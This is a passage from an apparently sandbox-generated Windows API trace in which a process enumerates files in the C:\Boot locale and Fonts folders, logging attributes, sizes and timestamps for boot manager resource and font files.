cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.938] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0242.939] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0242.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.939] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0242.939] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebfb0 [0242.939] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.939] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.939] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.939] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.939] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0242.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.939] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0242.939] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec2f0 [0242.940] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.940] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0242.940] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0242.940] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0242.940] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0242.940] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0242.940] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0242.940] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0242.940] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0242.941] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0242.941] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0242.941] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0242.941] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0242.941] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0242.941] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0242.941] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0242.942] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0242.942] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0242.942] FindClose (in: hFindFile=0x6ec2f0 | out: hFindFile=0x6ec2f0) returned 1 [0242.942] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.942] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0242.942] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebfb0 [0242.942] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.942] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.943] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0242.943] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0242.943] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.943] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0242.943] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec4f0 [0242.943] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.943] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.943] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.943] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.943] FindClose (in: hFindFile=0x6ec4f0 | out: hFindFile=0x6ec4f0) returned 1 [0242.944] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.944] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0242.944] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec0b0 [0242.944] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.944] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.944] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0242.944] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0242.944] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.944] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 